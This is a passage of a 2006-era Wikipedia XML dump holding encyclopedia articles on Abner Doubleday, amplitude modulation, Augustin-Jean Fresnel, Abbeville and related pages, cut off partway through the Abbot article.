* [[Chemical analysis]], the analysis of material samples to gain an understanding of their chemical composition and structure
* [[Dimensional analysis]], a conceptual tool to understand physical situations involving a mix of different kinds of physical quantities
* [[Isotope analysis]], the identification of isotopic signature, the distribution of certain stable isotopes and chemical elements within chemical compounds
* [[Life cycle cost analysis]], calculates the cost of a system or product over its entire life span
* [[Lithic analysis]], the analysis of stone tools using basic scientific techniques
* [[Neutron activation analysis]], a technique used to very accurately determine the concentrations of elements in a sample
* [[Protocol analysis]], a means for extracting persons' thoughts while they are performing a task
* [[System analysis]], the branch of electrical engineering that characterizes electrical systems and their properties
* [[Systems analysis]], the science dealing with analysis of complex, large scale systems and the interactions within those systems

==See also==
*[[Analytic]]
*[[Synthesis]]
*[[Scientific method]]

{{disambig}}

[[cs:Analýza]]
[[da:Analyse]]
[[de:Analyse]]
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[[ko:해석학]]
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[[mk:Анализа]]
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[[pl:Analiza]]
[[simple:Analyse]]</text>
    </revision>
  </page>
  <page>
    <title>Abner Doubleday</title>
    <id>1135</id>
    <revision>
      <id>41932237</id>
      <timestamp>2006-03-02T18:39:49Z</timestamp>
      <contributor>
        <username>Hlj</username>
        <id>36708</id>
      </contributor>
      <comment>reword</comment>
      <text xml:space="preserve">[[Image:AbnerDoubleday.jpeg|thumb|Abner Doubleday]]
'''Abner Doubleday''' ([[June 26]], [[1819]] &amp;ndash; [[January 26]], [[1893]]), was a career [[U.S. Army]] officer and [[Union army|Union]] general in the [[American Civil War]]. He fired the first shot in defense of [[Battle of Fort Sumter|Fort Sumter]], the opening battle of the war. Although he himself made no such claim, some believe he should be credited with the invention of [[baseball]].

==Early years==
Doubleday was born in [[Ballston Spa, New York]]. His grandfather had fought in the [[Revolutionary War]] and his father served four years in the [[U.S. Congress]]. Abner practiced as a civil engineer for two years before entering the [[U.S. Military Academy]], from which graduated in 1842 and was commissioned a [[second lieutenant]] in the 3rd U.S. Artillery.

==Military career==
Doubleday served in the [[Mexican-American War]] and [[Seminole Wars]]. At the start of the Civil War, he was a captain in the garrison at [[Fort Sumter]] in [[Charleston, South Carolina|Charleston Harbor]], under [[Major Robert Anderson]]. He aimed the cannon that fired the first return shot in answer to the [[Confederate States Army | Confederate]] bombardment on [[April 12]], [[1861]], starting the war.

Doubleday served in the [[Shenandoah Valley]] from June to August, 1861. He was appointed [[brigadier general]] of volunteers on [[February 3]], [[1862]], and led the 2nd Brigade, 1st Division, [[III Corps (ACW)|III Corps]] at the [[Second Battle of Bull Run]]. He took command of the division on [[August 30]] when its commander was wounded. He again led the division at [[Battle of South Mountain|South Mountain]], [[Battle of Antietam|Antietam]] (where he was wounded by a shell exploding nearby), and [[Battle of Fredericksburg|Fredericksburg]] (where his division mostly sat idle).

Doubleday was promoted to [[major general]] of volunteers on [[November 9]], [[1862]], and commanded 3rd Division, [[I Corps (ACW)|I Corps]], at [[Battle of Chancellorsville|Chancellorsville]], and took over corps command for a day when General [[John F. Reynolds]] was killed in opening of the [[Battle of Gettysburg]], [[July 9]], [[1863]]. Army commander [[George G. Meade]] replaced Doubleday with [[John Newton (ACW) | John Newton]], a more junior major general from another corps, after the first day of battle, one in which the I Corps was overwhelmed by a Confederate assault. Meade had a long history of disdain for Doubleday's combat effectiveness, dating back to South Mountain. Doubleday was humiliated by this snub and held a lasting grudge against Meade. He was wounded in the neck on the second day of the battle and assumed mostly administrative duties in the defenses of [[Washington, D.C.]], including the attack by [[Jubal A. Early]] in the [[Valley Campaigns of 1864]].

==Later life==
After the Civil War, Doubleday retired from the Army in 1873 and moved to [[San Francisco]], where he obtained a charter for the [[cable car (railway)|cable car]] railway that still runs there. By 1878, he was living in [[Mendham, New Jersey]], from where, that year, he became a prominent member of the [[Theosophical Society]]. When two of the founders of that society, [[Helena Blavatsky]] and [[Henry Steel Olcott]], moved to India at the end of that year, he was constituted as the President of the American body.

Doubleday died in Mendham, and is buried in [[Arlington National Cemetery]] in Arlington, Virginia.

==Legacy==
Although Doubleday was a competent, if colorless, combat general with experience in many important Civil War battles, the lore of baseball credits Doubleday with inventing the game, supposedly in [[Elihu Phinney]]'s cow pasture in [[Cooperstown, New York]], in 1839. 

The Mills Commission was appointed in 1905 to determine the origin of baseball. The committee's final report, on [[December 30]], [[1907]], stated, in part, that &quot;the first scheme for playing baseball, according to the best evidence obtainable to date, was devised by Abner Doubleday at [[Cooperstown, New York]], in 1839.&quot;

However, there is [[Origins of baseball#Did Abner Doubleday invent baseball?|considerable evidence]] to dispute this claim. At his death, Doubleday left many letters and papers, none of which describe baseball, or give any suggestion that he considered himself a prominent person in the evolution of the game. An encyclopedia article about Doubleday published in 1911 makes no mention of the game. He was a cadet at [[West Point]] in the year of the alleged invention and there is no record he requested leave to travel to Cooperstown.

Doubleday published two important works on the Civil War: ''Reminiscences of Forts Sumter and Moultrie'' (1876), and ''Chancellorsville and Gettysburg'' (1882), the latter being a volume of the series ''Campaigns of the Civil War''. 

Doubleday's indecision as a commander earned him the uncomplimentary nickname &quot;Forty-Eight Hours&quot;.

{{libship honor|name=Abner Doubleday|type=his}}

==See also==
*[[Origins of baseball#Did Abner Doubleday invent baseball?|Origins of baseball]]

==References==
* Eicher, John H., &amp; Eicher, David J., ''Civil War High Commands'', Stanford University Press, 2001, ISBN 0-8047-3641-3.
* Tagg, Larry, [http://www.rocemabra.com/~roger/tagg/generals/ ''The Generals of Gettysburg''], Savas Publishing, 1998, ISBN 1-882810-30-9.
* {{1911}}

==External links==
*[http://www.findagrave.com/pictures/4830.html Grave Site]
*[http://baseballhalloffame.org/about/history.htm Baseball Hall of Fame]
*[http://www.blavatskyarchives.com/doubledaygeneralindefense.htm ''Defense of Madame Blavatsky'']
*[http://www.theosophy-nw.org/theosnw/theos/th-tsgom.htm ''Abner Doubleday and Theosophy'']
*[http://www.baseballhalloffame.com/about/history.htm Baseball Hall of Fame]

{{Template:Theosophy}}

[[Category:1819 births|Doubleday, Abner]]
[[Category:1893 deaths|Doubleday, Abner]]
[[Category:West Point graduates|Doubleday]]
[[Category:United States Army generals|Doubleday, Abner]]
[[Category:American Civil War Generals|Doubleday, Abner]]
[[Category:Mexican-American War people|Doubleday, Abner]]
[[Category:Burials at Arlington National Cemetery|Doubleday, Abner]]</text>
    </revision>
  </page>
  <page>
    <title>Americas National Game</title>
    <id>1136</id>
    <revision>
      <id>15899639</id>
      <timestamp>2004-11-21T01:26:55Z</timestamp>
      <contributor>
        <username>D6</username>
        <id>75561</id>
      </contributor>
      <minor />
      <comment>adding [[Category:1911 books]]</comment>
      <text xml:space="preserve">'''''Americas National Game''''' is a book by [[Albert Spalding]], published in [[1911]] detailing the early history of the [[game]] of [[baseball]].  Much of the story is told first hand, since Spalding had been involved in the game, first as a player and later an administrator, since the 1850s. In addition to his personal recollections he had access to the records of [[Henry Chadwick]], the game's first statistician and archivist.  Spalding was, however, known to aggrandise his role in the major moments in baseball's history.

See also: [[History of baseball]]

[[Category:1911 books]]</text>
    </revision>
  </page>
  <page>
    <title>AustralianRulesFootball</title>
    <id>1138</id>
    <revision>
      <id>15899641</id>
      <timestamp>2004-11-09T05:28:08Z</timestamp>
      <contributor>
        <username>TPK</username>
        <id>35188</id>
      </contributor>
      <minor />
      <comment>oops</comment>
      <text xml:space="preserve">#REDIRECT [[Australian rules football]]</text>
    </revision>
  </page>
  <page>
    <title>Amplitude modulation</title>
    <id>1140</id>
    <revision>
      <id>42117400</id>
      <timestamp>2006-03-03T23:01:39Z</timestamp>
      <contributor>
        <username>Colonies Chris</username>
        <id>577301</id>
      </contributor>
      <minor />
      <comment>links</comment>
      <text xml:space="preserve">'''Amplitude modulation''' ('''AM''') is a form of [[modulation]] in which the [[amplitude]] of a [[carrier wave]] is varied in direct proportion to that of a modulating signal.  (Contrast this with [[frequency modulation]], in which the [[frequency]] of the carrier is varied; and [[phase modulation]], in which the [[Phase (waves)|phase]] is varied.)

AM is commonly used at [[Radio frequency|radio frequencies]] and was the first method used to [[Broadcasting|broadcast]] commercial [[radio]].  The term &quot;AM&quot; is sometimes used generically to refer to the AM broadcast ([[mediumwave]]) [[Band (electronics)|band]] (see [[AM radio]]).

== Applications in radio ==
[[Image:Amplitude-modulation.png|right|frame|An example of amplitude modulation.  The top diagram shows the modulating signal superimposed on the carrier wave.  The bottom diagram shows the resulting amplitude-modulated signal.  Notice how the peaks of the modulated output follow the contour of the original, modulating signal.]]

A basic AM radio [[transmitter]] works by first [[Direct current|DC]]-shifting the modulating signal, then multiplying it with the [[carrier wave]] using a [[frequency mixer]].  The output of this process is a signal with the same frequency as the carrier but with peaks and troughs that vary in proportion to the strength of the modulating signal.  This is [[amplifier|amplified]] and fed to an [[antenna (radio)|antenna]].

===AM vs. FM===
AM radio's main limitation is its susceptibility to atmospheric [[interference]], which is heard as [[white noise|static]] from the receiver.  The narrow [[bandwidth]] traditionally used for AM broadcasts further limits the quality of sound that can be received.  Since the 1970s, [[wideband]] [[FM]] has been preferred for musical broadcasts, due to its higher audio fidelity and noise-suppression characteristics.

The fact that signals can be decoded using very simple equipment is one of the primary advantages of amplitude modulation.  This was especially important in the early days of commercial radio, when [[Electronics|electronic]] components were still quite expensive.  This simplicity and affordability helped make AM one of the most popular methods for sending voice and music over radio during the 20th century.

An AM [[receiver (radio)|receiver]] consists primarily of a tunable [[Filter (signal processing)|filter]] and an [[envelope detector]], which in simpler sets is a single [[diode]].  Its output is a signal at the carrier frequency, with peaks that trace the amplitude of the unmodulated signal. Unlike other modulation techniques, this is all that is needed to recover the original audio.  In practice, a [[capacitor]] is used to undo the DC shift introduced by the transmitter and to eliminate the carrier frequency by connecting the signal peaks.  The output is then fed to an [[audio amplifier]].

[[Image:Am_radio.png|thumb|left|A network [[schematic]] of a simple AM receiver.  A diode functions as the [[envelope detector]], with the recovered audio fed directly to an [[earphone]].]]

To make a good AM receiver an [[automatic gain control]] loop is essential; this requires good design. To make a good FM receiver a large number of [[Radio frequency|RF]] amps which are driven into limiting are required to create a receiver which can take advantage of the [[capture effect]], one of the biggest advantages of FM. With valved (tube) systems it is more expensive to make active stages than it is to make the same number of stages with solid state parts, so for a valved [[superhet]] it is simpler to make an AM receiver with the automatic gain control loop while for a solid state receiver it is simpler to make an FM unit. Hence even while the idea of FM was known before [[WWII]] its use was rare because of the cost of valves - in the UK the government had a [[valve holder tax]] {{fact}} which encouraged radio receiver designers to use as few active stages as possible, - but when solid state parts became available FM started to gain favour. &lt;!-- By Horst Rebein --&gt;

== Forms of AM ==
In its basic form, amplitude modulation produces a signal with power concentrated at the carrier frequency and in two adjacent [[sideband]]s.  Each sideband is equal in [[bandwidth]] to that of the modulating signal and is a mirror image of the other.  Thus, most of the power output by an AM transmitter is effectively wasted: half the power is concentrated at the carrier frequency, which carries no useful information (beyond the fact that a signal is present); the remaining power is split between two identical sidebands, only one of which is needed.

To increase transmitter efficiency, the carrier can be removed (suppressed) from the AM signal.  This produces a [[reduced-carrier transmission]] or ''double-sideband suppressed carrier'' (DSBSC) signal.  If the carrier is only partially suppressed, a '''double-sideband reduced carrier''' (DSBRC) signal results.  DSBSC and DSBRC signals need their carrier to be regenerated (by a [[beat frequency oscillator]], for instance) to be demodulated using conventional techniques.

Even greater efficiency is achieved&amp;mdash;at the expense of increased transmitter and receiver complexity&amp;mdash;by completely suppressing both the carrier and one of the sidebands.  This is [[single-sideband modulation]], widely used in [[amateur radio]] due to its efficient use of both power and bandwidth.

A simple form of AM often used for [[digital]] communications is ''[[on-off keying]]'', a type of ''[[amplitude-shift keying]]'' by which [[Binary numeral system|binary]] data is represented as the presence or absence of a carrier wave.  This is commonly used at radio frequencies to transmit [[Morse code]], referred to as [[continuous wave]] (CW) operation.

== Example ==
Suppose we wish to modulate a simple sine wave on a carrier wave. The equation for the carrier wave of frequency &lt;math&gt;\omega_c&lt;/math&gt;, taking its phase to be a reference phase of zero, is

:&lt;math&gt;c(t) = C \sin(\omega_c t)&lt;/math&gt;.

The equation for the simple sine wave of frequency &lt;math&gt;\omega_m&lt;/math&gt; (the signal we wish to broadcast) is

:&lt;math&gt;m(t) = M \sin(\omega_m t + \phi)&lt;/math&gt;,
with &lt;math&gt;\phi&lt;/math&gt; its phase offset relative to &lt;math&gt;c(t)&lt;/math&gt;.

Amplitude modulation is performed simply by adding &lt;math&gt;m(t)&lt;/math&gt; to &lt;math&gt;C&lt;/math&gt;.  The amplitude-modulated signal is then

:&lt;math&gt;y(t) = (C + M \sin(\omega_m t + \phi)) \sin(\omega_c t)&lt;/math&gt;

The formula for &lt;math&gt;y(t)&lt;/math&gt; above may be written

:&lt;math&gt;y(t) = C \sin(\omega_c t) + M \frac{\cos(\phi - (\omega_m - \omega_c) t)}{2} - M \frac{\cos(\phi + (\omega_m + \omega_c) t)}{2}&lt;/math&gt;

The broadcast signal consists of the carrier wave plus two sinusoidal waves each with a frequency slightly different from &lt;math&gt;\omega_c&lt;/math&gt;, known as sidebands. For the sinusoidal signals used here, these are at &lt;math&gt;\omega_c + \omega_m&lt;/math&gt; and &lt;math&gt;\omega_c - \omega_m&lt;/math&gt;. As long as the broadcast (carrier wave) frequencies are sufficiently spaced out so that these side bands do not overlap, stations will not interfere with one another.

===A more general example===
:''This relies on knowledge of the [[Fourier Transform]]. The discussion of the figure may prove more useful for a quicker understanding.''

Consider a general modulating signal &lt;math&gt;m(t)&lt;/math&gt;, which can now be anything at all. The same basic rules apply:
:&lt;math&gt;\,y(t) = [C + m(t)]\cos(\omega_c t)&lt;/math&gt;.
Or, in [[complex]] form:
:&lt;math&gt;y(t) = [C + m(t)]\frac{e^{j\omega_c t} + e^{-j\omega_c t}}{2}&lt;/math&gt;

Taking Fourier Transforms, we get:
:&lt;math&gt;|Y(\omega)| = \pi{}C\delta(\omega - \omega_c) + \frac{1}{2}M(\omega - \omega_c) + \pi{}C\delta(\omega + \omega_c) + \frac{1}{2}M(\omega + \omega_c)&lt;/math&gt;,

where &lt;math&gt;\delta(x)&lt;/math&gt; is the [[Paul Dirac|Dirac]] [[delta function]] &amp;mdash; a unit impulse at &lt;math&gt;x&lt;/math&gt; &amp;mdash; and capital functions indicate Fourier Transforms.

This has two components: one at positive [[frequency|frequencies]] (centered on &lt;math&gt;+\omega_c&lt;/math&gt;) and one at negative frequencies (centered on &lt;math&gt;-\omega_c&lt;/math&gt;). There is nothing mathematically wrong with negative frequencies, and they need to be considered here &amp;mdash; otherwise one of the sidebands will be missing. Shown below is a graphical representation of the above equation. It shows the modulating signal's [[spectral density|spectrum]] on top, followed by the full spectrum of the modulated signal.

[[Image:AM spectrum.png|thumb|center|500px|The (2-sided) spectrum of an AM signal.]]

This makes clear the two sidebands that this modulation method yields, as well as the carrier signals that go with them. The carrier signals are the impulses. Clearly, an AM signal's spectrum consists of its original (2-sided) spectrum shifted up to the carrier frequency. The negative frequencies are a mathematical nicety, but are essential since otherwise we would be missing the lower sideband in the original spectrum!

As already mentioned, if multiple signals are to be transmitted in this way (by [[frequency division multiplexing]]), then their carrier signals must be sufficiently separated that their spectra do not overlap. This analysis also shows that the transmission bandwidth of AM is twice the signal's original ([[baseband]]) bandwidth &amp;mdash; since both the positive and negative sidebands are 'copied' up to the carrier frequency, but only the positive sideband is present originally. Thus, double-sideband AM (DS-AM) is spectrally inefficient. The various suppression methods in [[#Forms of AM|Forms of AM]], can be seen clearly in the figure &amp;mdash; with the carrier suppressed there will be no impulses and with a sideband suppressed, the transmission bandwidth is reduced back to the original, baseband, bandwidth &amp;mdash; a significant improvement in spectrum usage.

An analysis of the power consumption of AM reveals that DS-AM with its carrier has an efficiency of about 33% &amp;mdash; very poor. The forms of AM with suppressed carriers are found to be 100% power efficient, since no power is wasted on the carrier signal which conveys no information.

==Modulation index==
As with other [[modulation index|modulation indices]], in AM, this quantity, also called ''modulation depth'', indicates by how much the modulated variable varies around its 'original' level. For AM, it relates to the variations in the carrier amplitude and is defined as:
:&lt;math&gt;h = \frac{\mathrm{peak\ value\ of\ } m(t)}{C}&lt;/math&gt;.
So if &lt;math&gt;h=0.5&lt;/math&gt;, the carrier amplitude varies by 50% above and below its unmodulated level, and for &lt;math&gt;h=1.0&lt;/math&gt; it varies by 100%. Modulation depth greater than 100% is generally to be avoided - practical transmitter systems will usually incorporate some kind of limiter circuit, such as a [[VOGAD]], to ensure this.

Variations of modulated signal with percentage modulation are shown below.  In each image, the maximum amplitude is higher than in the previous image.  Note that the scale changes from one image to the next.
&lt;center&gt;[[Image:AM signals.svg]]&lt;/center&gt;

== Amplitude modulator designs ==
===Circuits===
A wide range of different circuits have been used for AM, but one of the simplest circuits uses anode or collector modulation applied via a [[transformer]]. While it is perfectly possible to create good designs using solid-state electronics, [[thermionic valve|valved]] (tube) circuits are shown here. In general, valves are able to easily yield RF powers far in excess of what can be achieved using solid state. Most high-power broadcast stations still use valves.

[[Image:ammodstage.jpg|300px|right|thumb|Anode modulation using a transformer.  The [[tetrode]] is supplied with an anode supply (and screen grid supply) which is modulated via the transformer. The resistor R1 sets the grid bias, both the input and outputs are tuned [[LC circuit]]s which are tapped into by inductive coupling]]

Modulation circuit designs can be broadly divided into low and high level.

=== Low level ===
Here a small [[Sound|audio]] stage is used to [[modulation|modulate]] a low power stage, the output of this stage is then amplified using a [[Linear amplifier|linear]] RF amplifier.

* Advantages

The advantage of using a linear RF amplifier is that the smaller early stages can be modulated, which only requires a small [[audio amplifier]] to drive the modulator. 

* Disadvantages

The great disadvantage of this system is that the amplifer chain is less [[electrical efficiency|efficient]], because it has to be linear to preserve the modulation. Hence [[Electronic amplifier#Class C|Class C amplifiers]] cannot be employed.

An approach which marries the advantages of low-level modulation with the efficiency of a Class C power amplifier chain is to arrange a feedback system to compensate for the substantial distortion of the AM envelope. A simple detector at the transmitter output (which can be little more than a loosely coupled [[diode]]) recovers the audio signal, and this is used as [[negative feedback]] to the audio modulator stage. The overall chain then acts as a linear amplifier as far as the actual modulation is concerned, though the RF amplifier itself still retains the Class C efficiency. This approach is widely used in practical medium power transmitters, such as AM [[radiotelephone]]s.

=== High level ===
; Advantages 

One advantage of using class C amplifiers in a broadcast AM transmitter is that only the final stage needs to be modulated, and that all the earlier stages can be driven at a constant level. These class C stages will be able to generate the drive for the final stage for a smaller [[Direct current|DC]] power input. However in many designs in order to obtain better quality AM the penultimate RF stages will need to be subject to modulation as well as the final stage.

; Disadvantages

A large audio amplifer will be needed for the modulation stage, at least equal to the power of the transmitter output itself. Traditionally the modulation is applied using an audio transformer, and this can be bulky. Direct coupling from the audio amplifier is also possible (known as a [[cascode]] arrangement), though this usually requires quite a high DC supply voltage (say 30V or more), which is not suitable for mobile units.

== See also ==
* [[AM radio]] also referred to as [[Mediumwave]]
* [[shortwave radio]] almost universally uses AM modulation, narrow FM occurring above 25 MHz.
* [[Modulation]], for a list of other modulation techniques
* [[AMSS]] Amplitude Modulation Signalling System, a digital system for adding low bitrate information to an AM signal.
* [[Sideband]], for some explanation of what  this is.

==References==
* Newkirk, David and Karlquist, Rick (2004).  Mixers, modulators and demodulators.  In D. G. Reed (ed.), ''The ARRL Handbook for Radio Communications'' (81st ed.), pp. 15.1&amp;ndash;15.36.  Newington: ARRL.  ISBN 0-87259-196-4.

[[Category:Radio modulation modes]]

[[de:Amplitudenmodulation]]
[[es:Amplitud Modulada]]
[[fr:Modulation d'amplitude]]
[[ko:진폭 변조]]
[[he:איפנון משרעת]]
[[nl:Amplitudemodulatie]]
[[ja:振幅変調]]
[[no:Amplitudemodulasjon]]
[[pl:Modulacja amplitudy]]
[[pt:Modulação em Amplitude]]
[[fi:AM]]
[[zh:振幅調變]]</text>
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  </page>
  <page>
    <title>Augustin-Jean Fresnel</title>
    <id>1141</id>
    <revision>
      <id>40664957</id>
      <timestamp>2006-02-22T03:55:14Z</timestamp>
      <contributor>
        <ip>69.168.254.200</ip>
      </contributor>
      <comment>/* Researches */</comment>
      <text xml:space="preserve">:''For the lighting instrument, see [[Fresnel lantern]].

[[Image:Afresnel.jpg|thumb|right|Augustin Fresnel]]


'''Augustin-Jean Fresnel''' (pronounced [{{IPA|fre&amp;#618; 'nel}}] in [[American English|AmE]], [{{IPA|f&amp;#641;&amp;#603; n&amp;#603;l}}] in [[French language|French]]) ([[May 10]], [[1788]] &amp;ndash; [[July 14]], [[1827]]), was a [[France|French]] [[physics|physicist]] who contributed significantly to the establishment of the theory of [[wave|wave optics]]. Fresnel studied the behaviour of light both theoretically and experimentally. 

==Biography==

Fresnel was the son of an architect, born at [[Broglie, Eure|Broglie]] ([[Eure]]). His early progress in learning was slow, and he still could not read when  he was eight years old. At thirteen he entered the École Centrale in [[Caen]], and at sixteen and a half the [[École Polytechnique]], where he acquitted himself with distinction. From there he went to the [[École Nationale des Ponts et Chaussées|École des Ponts et Chaussées]]. He served as an engineer successively in the departments of [[Vendée]], [[Drôme]] and [[Ille-et-Vilaine]]; but having supported the [[Bourbon house|Bourbons]] in [[1814]] he lost his appointment on [[Napoleon I of France|Napoleon's]] return to power.

On the second restoration of the monarchy, he obtained a post as engineer in [[Paris]], where much of his life from that time was spent. His researches in optics, continued until his death, appear to have been begun about the year [[1814]], when he prepared a paper on the [[aberration of light]], which, however, was not published. In [[1818]] he wrote a memoir on [[diffraction]] for which in the ensuing year he received the prize of the [[French Academy of Sciences|Académie des Sciences]] at Paris. He was in [[1823]] unanimously elected a member of the academy, and in [[1825]] he became a member of the [[Royal Society of London]], which in [[1827]], at the time of his last illness, awarded him the [[Rumford Medal]]. In [[1819]] he was nominated a commissioner of [[lighthouse]]s, for which he was the first to construct a special type of lens, now called a [[Fresnel lens]], as substitutes for mirrors. He died of [[tuberculosis]] at [[Ville-d'Avray]], near Paris.

His labours in the cause of optical science received during his lifetime only scant public recognition, and some of his papers were not printed by the Académie des Sciences till many years after his decease. But, as he wrote to Young in [[1824]], in him &quot;that sensibility, or that vanity, which people call love of glory&quot; had been blunted. &quot;All the compliments,&quot; he says, &quot;that I have received from Arago, [[Pierre Simon, Marquis de Laplace|Laplace]] and [[Jean-Baptiste Biot|Biot]] never gave me so much pleasure as the discovery of a theoretic truth, or the confirmation of a calculation by experiment.&quot;

==Researches== 

His discoveries and mathematical deductions, building on experimental work by [[Thomas Young (scientist)|Thomas Young]], extended the [[Huygens' principle|wave theory]] of [[light]] to a large class of [[optical phenomenon|optical phenomena]]. 

His use of two plane mirrors of metal, forming with each other an angle of nearly 180°, allowed him to avoid the diffraction effects caused (by the apertures) in the experiment of [[Francesco Maria Grimaldi|FM Grimaldi]] on [[interference]]. This allowed him to conclusively account for the phenomena of interference in accordance with the wave theory.

With [[François Arago]] he studied the laws of the interference of [[polarization|polarized]] rays. He obtained circularly polarized light by means of a rhombus of glass, known as &quot;Fresnel's rhomb&quot;, having obtuse angles of 126° and acute angles of 54°. 

He is perhaps best known as the inventor of the [[Fresnel lens]], first adopted in [[lighthouse]]s while he was a French commissioner of lighthouses, and found in many applications today.

==See also== 
*[[Fresnel equations]]
*[[Fresnel integral]]
*[[Fresnel lantern]]
*[[Fresnel lens]]
*[[Fresnel rhomb]]
*[[Fresnel zone]]
*[[zone plate|Fresnel zone plate]]

==External link and reference==
* {{MacTutor Biography|id=Fresnel}}
* {{1911}}

[[Category:1788 births|Fresnel, Augustin-Jean]]
[[Category:1827 deaths|Fresnel, Augustin-Jean]]
[[Category:French physicists|Fresnel, Augustin-Jean]]
[[Category:Alumni_of_the_École_Polytechnique|Fresnel, Augustin-Jean]]
[[Category:Normans|Fresnel, Augustin-Jean]]

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  <page>
    <title>Abbeville</title>
    <id>1142</id>
    <revision>
      <id>41059535</id>
      <timestamp>2006-02-24T20:19:49Z</timestamp>
      <contributor>
        <username>Unyoyega</username>
        <id>460372</id>
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      <minor />
      <comment>fixing interwikis  ~: it</comment>
      <text xml:space="preserve">{{otherplaces}}

[[Image:AbbevilleCollégialeStVulfran2004-04-27.jpg|thumb|Collégiale St Vulfran]]
[[Image:Abbeville_Beffroi_2005-09-29.jpg|thumb|Beffroi]]

'''Abbeville''' is a city in the [[Picardie]] ''[[Région in France|région]]'', in the north of [[France]]. 
==Location==

Abbeville is located on the [[Somme River]], 12 m. from its modern mouth in the [[English Channel]], and 28 m. northwest of [[Amiens]]. In the medieval period, it was the lowest crossing point on the Somme and it was nearby that [[Edward III of England|Edward III's]] army crossed shortly before the [[Battle of Crécy]] in [[1346]].

==Administration==

Abbeville was the chief town of the [[Provinces of France|former province]] of [[Ponthieu]]. Today, it is one of the three ''[[sous-préfecture]]s'' of the [[Somme]] ''[[département in France|département]]''.

It is twinned with the town of [[Burgess Hill]] in [[West Sussex]].

==Prehistory ==

The name Abbeville has been adopted to name a category of early stone tools. These stone tools are also known as [[handaxes]]. Various handaxes were found near Abbeville by [[Jacques Boucher de Perthes]] during the 1830's and he was the first to desribe the stones in detail, pointing out in the first publication of its kind, that the stones were chipped deliberately by early man, so as to form a tool. These earliest stone tools found in Europe were chipped on both sides so as to form a sharp edge, are now known as [[Abbevillian]] handaxes or [[bifaces]] . The earlier form of stone tools, not found in Europe is known as [[Oldewan]] choppers . A more refined and later version of handax production was also found in the Abbeville/Somme River district. The more refined handax became known as the [[Acheulean]] industry, named after [[Saint Acheul]], today a suburb of [[Amiens]] .

==History==

Abbeville first appears in history during the [[9th century]]. At that time belonging to the [[abbey]] of [[St Riquier]], it was afterwards governed by the [[Ponthieu|Counts of Ponthieu]]. Together with that county, it came into the possession of the [[Alençon]] and other French families, and afterwards into that of the house of [[Castile]], from whom by marriage it fell in [[1272]] to King [[Edward I of England]]. French and English were its masters by turns till [[1435]] when, by the [[treaty of Arras]], it was ceded to the [[Duke of Burgundy]]. In [[1477]] it was annexed by King [[Louis XI of France]], and was held by two illegitimate branches of the royal family in the 16th and 17th centuries, being in [[1696]] reunited to the crown. In 1514, the town saw the marriage of [[Louis XII of France]] to [[Mary Tudor (queen consort of France)|Mary Tudor]], the daughter of [[Henry VII of England]].

Abbeville was fairly important in the [[18th century]], when the Van Robais Royal Manufacture (one of the first major factories in France) brought great prosperity (but some class controversy) to the town.  [[Voltaire]], among others, wrote about it. He also wrote about a major incident of intolerance in which a young impoverished lord, the [[Chevalier de la Barre]], was executed there for impiety (supposedly because he did not [[salute]] a procession for [[Corpus Christi]], though the story is far more complex than that and revolves around a mutilated cross.)

Historical population:
:1901: 18,519
:1906: 18,971

==Sights==

The city was very picturesque until the early days of [[World War II]], when it was bombed mostly to rubble in one night by the Germans. The town overall is now mostly modern and rebuilt. Several of the town's attractions remain, including:
* [[Saint Wulfram|St. Vulfran]]'s church, erected in the [[15th century|15th]], [[16th century|16th]] and [[17th century|17th]] centuries. The original design was not completed. The [[nave]] has only two bays and the choir is insignificant. The facade is a magnificent specimen of the flamboyant [[Gothic style]], flanked by two Gothic towers.

==See also==
{{commons|Abbeville|Abbeville}}
{{Wikisource1911Enc|Abbeville}}
* [[Abbevillian]]

==Reference==
* {{1911}}

----

''The following text, from a turn of the century [[encyclopedia]] should be updated, wikified and incorporated into the above article:''

It lies in a pleasant and fertile valley, and is built partly on an island and partly on both sides of the river, which is canalized from this point to the estuary.  The streets are narrow, and the houses are mostly picturesque old structures, built of wood, with many quaint gables and dark archways.  The most remarkable building is the church of St Vulfran. Abbeville has several other old churches and an [[Hotel de Ville]], with a [[belfry (architecture)|belfry]] of the [[13th century]]. Among the numerous old houses, that known as the Maison de [[Francis I of France|Francois I]], which is the most remarkable, dates from the [[16th century]]. There is a statue of [[Admiral Courbet]] (d. [[1885]]) by [[Alexandre Falguière]] in the chief square.  The public institutions include tribunals of first instance and of commerce, a board of trade-arbitrators, and a communal college.  Abbeville is an important industrial centre; in addition to its old-established manufacture of cloth, hemp-spinning, sugar-making, ship-building and [[locksmithing|locksmith]]s' work are carried on; there is active commerce in grain, but the port has little trade.

[[Category:Archaeological sites in France]]
[[Category:Communes of Somme]]

[[cs:Abbeville]]
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  <page>
    <title>Abbot</title>
    <id>1143</id>
    <revision>
      <id>41890472</id>
      <timestamp>2006-03-02T11:42:03Z</timestamp>
      <contributor>
        <username>Fastifex</username>
        <id>411070</id>
      </contributor>
      <comment>/* Protestantism */</comment>
      <text xml:space="preserve">{{otheruses}}
[[Image:Prepozyt.png|right|300px|thumb|Abbot's coat of arms]]
The word abbot, meaning father, has been used as a Christian clerical title in various, mainly monastic, meanings.

==Origins==
The title had its origin in the [[monastery|monasteries]] of [[Syria]], spread through the eastern [[Mediterranean]], and soon became accepted generally in all languages as the designation of the head of a monastery. Originally, the word, meaning father, was applied to various priests, e.g. at the court of the Frankish monarchy the ''Abbas palatinus'' ('of the palace') and ''Abbas castrensis'' ('of the camp) were chaplains to the Merovingian/ Carolingian sovereign's court viz. to his army.  At first it was employed as a respectful title for any monk, but it was soon restricted by canon law to certain priestly superiors.  The name &quot;abbot&quot; came in fairly general use in western [[Christian monasticism|monastic]] [[order (religious)|orders]] whose members (or the 'full' level at least) are ordained priest.  However, various congregations chose other titles for their superiors, e.g. among the [[Dominican Order|Dominicans]], [[Carmelites]], [[Augustinian]]s, etc., ''Praepositus'', ''Provost'', and ''Prior''; among the [[Franciscan]]s, ''Custos,''  &quot;guardian&quot;; and by the monks of [[Camaldolese|Camaldoli]], &quot;Major.&quot; 

==Monastic History==

An '''abbot''' (from the Hebrew ''ab,'' &quot;a father&quot;, through the Syriac ''abba,'' Latin ''abbas'' (genitive form, ''abbatis''), Old English ''abbad,'' ; German ''Abt;'' French ''abbé'') is the head and chief governor of a community of [[monk]]s, called also in the East ''hegumenos'' or ''archimandrite.''  The [[English language|English]] version for a female monastic head is '''[[abbess]]'''.

